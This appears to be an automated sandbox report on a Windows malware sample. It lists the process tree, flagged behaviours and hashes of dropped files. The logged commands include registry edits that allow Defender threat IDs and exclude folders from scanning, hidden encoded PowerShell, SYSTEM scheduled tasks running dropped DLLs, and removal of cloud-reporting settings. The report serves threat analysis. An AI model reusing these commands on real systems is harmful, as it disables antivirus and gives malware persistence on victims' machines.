C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FpvksngNCKIjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FpvksngNCKIjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QqSrWmvdGtwU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QqSrWmvdGtwU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RIuAFuLLU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RIuAFuLLU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cfvymemHCAUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cfvymemHCAUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\BekoRFZthbLHeaVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\BekoRFZthbLHeaVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jUlWXsHGbnJNPdLP\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jUlWXsHGbnJNPdLP\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FpvksngNCKIjC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FpvksngNCKIjC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FpvksngNCKIjC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QqSrWmvdGtwU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QqSrWmvdGtwU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RIuAFuLLU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RIuAFuLLU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cfvymemHCAUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cfvymemHCAUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\BekoRFZthbLHeaVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\BekoRFZthbLHeaVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jUlWXsHGbnJNPdLP /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jUlWXsHGbnJNPdLP /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gDrwEJnvn" /SC once /ST 22:23:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gDrwEJnvn"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gDrwEJnvn"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "cfFFKgQyvKFYWQGgS" /SC once /ST 01:54:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\jUlWXsHGbnJNPdLP\oqHWkXuwqeQQHza\vODsFwl.exe\" lH /site_id 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "cfFFKgQyvKFYWQGgS"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\Temp\jUlWXsHGbnJNPdLP\oqHWkXuwqeQQHza\vODsFwl.exeC:\Windows\Temp\jUlWXsHGbnJNPdLP\oqHWkXuwqeQQHza\vODsFwl.exe lH /site_id 525403 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bCfEGNwGDQwhWneLvC"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RIuAFuLLU\DwJXoM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qcUOvNLqmSmqpxF" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qcUOvNLqmSmqpxF2" /F /xml "C:\Program Files (x86)\RIuAFuLLU\jbCwwNI.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "qcUOvNLqmSmqpxF"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qcUOvNLqmSmqpxF"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "nCtegvDAmjdVDw" /F /xml "C:\Program Files (x86)\QqSrWmvdGtwU2\AWYzPuL.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "VircTphmeRxIj2" /F /xml "C:\ProgramData\BekoRFZthbLHeaVB\MsDbaGS.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BPTpyhbDHEioZHGkr2" /F /xml "C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR\bDCWQec.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "aTjIGRcnJusWUoAznGe2" /F /xml "C:\Program Files (x86)\FpvksngNCKIjC\vARuciX.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "vdoHbRZAyoFFuVbVu" /SC once /ST 02:15:35 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\jUlWXsHGbnJNPdLP\yKlUOcHU\GrtZbEr.dll\",#1 /site_id 525403" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "vdoHbRZAyoFFuVbVu"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "cfFFKgQyvKFYWQGgS"2⤵
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jUlWXsHGbnJNPdLP\yKlUOcHU\GrtZbEr.dll",#1 /site_id 5254031⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jUlWXsHGbnJNPdLP\yKlUOcHU\GrtZbEr.dll",#1 /site_id 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "vdoHbRZAyoFFuVbVu"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\FpvksngNCKIjC\vARuciX.xmlFilesize
2KB
MD5334465283aeacfcf74cf825c36894a2d
SHA1ef1ee59480889796b92f7e9d3bff3e28b794e5eb
SHA256cbd3ecdb9e35255757c2d5ddeabe50a1cb5b17bf6ce115d93dab0a281e6cd012
SHA51285263a6d5d16d82af2c01ca9c6e13ae38512fb6a0d99c9b4783abfa39916cdfa550f329c9a40022aaf22279d343298960a1c8f826fd6375c89f96a42154ff21f
-
C:\Program Files (x86)\QqSrWmvdGtwU2\AWYzPuL.xmlFilesize
2KB
MD596195a4480bfe46a2e250ed49eb55381
SHA1c0bc9b98e02dd5b5b4755476de2c5ad767da4123
SHA256bd165d443efce614cdef534513ebb8b0055e990439f69c0c5e74bf4a9ff7b9a3
SHA512a31de7dac22afef234328c2a02c9a9bfa80cfab111574a2bafc0dd3c423aff7f7fa22c525fbd01f3a4a7ebf98e14bc534a7ea0b5e8497db7352d5150982eb5aa
-
C:\Program Files (x86)\RIuAFuLLU\jbCwwNI.xmlFilesize
2KB
MD5e635e7666232605aac3ba2b3ab7904a3
SHA1aa02b6a8752386a15cc32d13e60bd8c5a3d10456
SHA256ba761f66a88001cb4809309c0b617a6c0215ee1f7652c6dda2e81b8cf69da8ce
SHA5129e90686f1f878ff8df53f41b6740905087a7f54273709bb23a48994df8fdb5ccb47eadb88fe0e42bab72b1b53a6a252560f6996b6c08e7fed160945272504c96
-
C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR\bDCWQec.xmlFilesize
2KB
MD57516c445732f828d2a0d1582c0b0f5cb
SHA11d411c1bca7ec167d15c57b9e34597769b94be15
SHA256f6a5685abcd8e685aecfe0612ab420d6a55d56ad07fa3deb0d5de43d32f8b5b7
SHA5125112f92ebde0ff7c481ae46878966c8e29dadcd2f330d40087584fe48a99966225cc7d68cb87f35bf5053275a958dc2e3700c6efb1e2901e8fbd286ff7d65aa9
-
C:\ProgramData\BekoRFZthbLHeaVB\MsDbaGS.xmlFilesize
2KB
MD51721e60c3cf61c845d6560bd63984504
SHA1e8ce669bc21da490dc7ea22bad3b79779bf5c3e2
SHA256dab2a9ee78f5aa413a861bac46b4f1441c4dc34bbfc37ca29e9f76cf3635d260
SHA51220fc6ea335259e2cf1d21ab9acac04a9a6590f760309781b198a4b6ade7849fdc76aa753b255c39f04521fb06b0465ea6b49813284fcb5ff5de8c0e3391bcee3
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
C:\Users\Admin\AppData\Local\Temp\7zS79E8.tmp\Install.exeFilesize
6.2MB
MD5db20ce33fcf4b26cb4a218459b0e9131
SHA1e96f4b994fa76f510a718761ae232f10b2e1b2ee
SHA2569b1a462c767c4cf246b491457d577900a20b2b5f674b604577d1dcfaa2bcfa70
SHA512ed8eb5c722be32ebf6e9c4cb60d2cffac9b6a6f215e83b112cd76f881b7fbffd3ed4e0d60415b855e2df8ba5803eddd25e152ccefa73bc486673c2d5ee36f483
-
C:\Users\Admin\AppData\Local\Temp\7zS79E8.tmp\Install.exeFilesize
6.2MB
MD5db20ce33fcf4b26cb4a218459b0e9131
SHA1e96f4b994fa76f510a718761ae232f10b2e1b2ee
SHA2569b1a462c767c4cf246b491457d577900a20b2b5f674b604577d1dcfaa2bcfa70
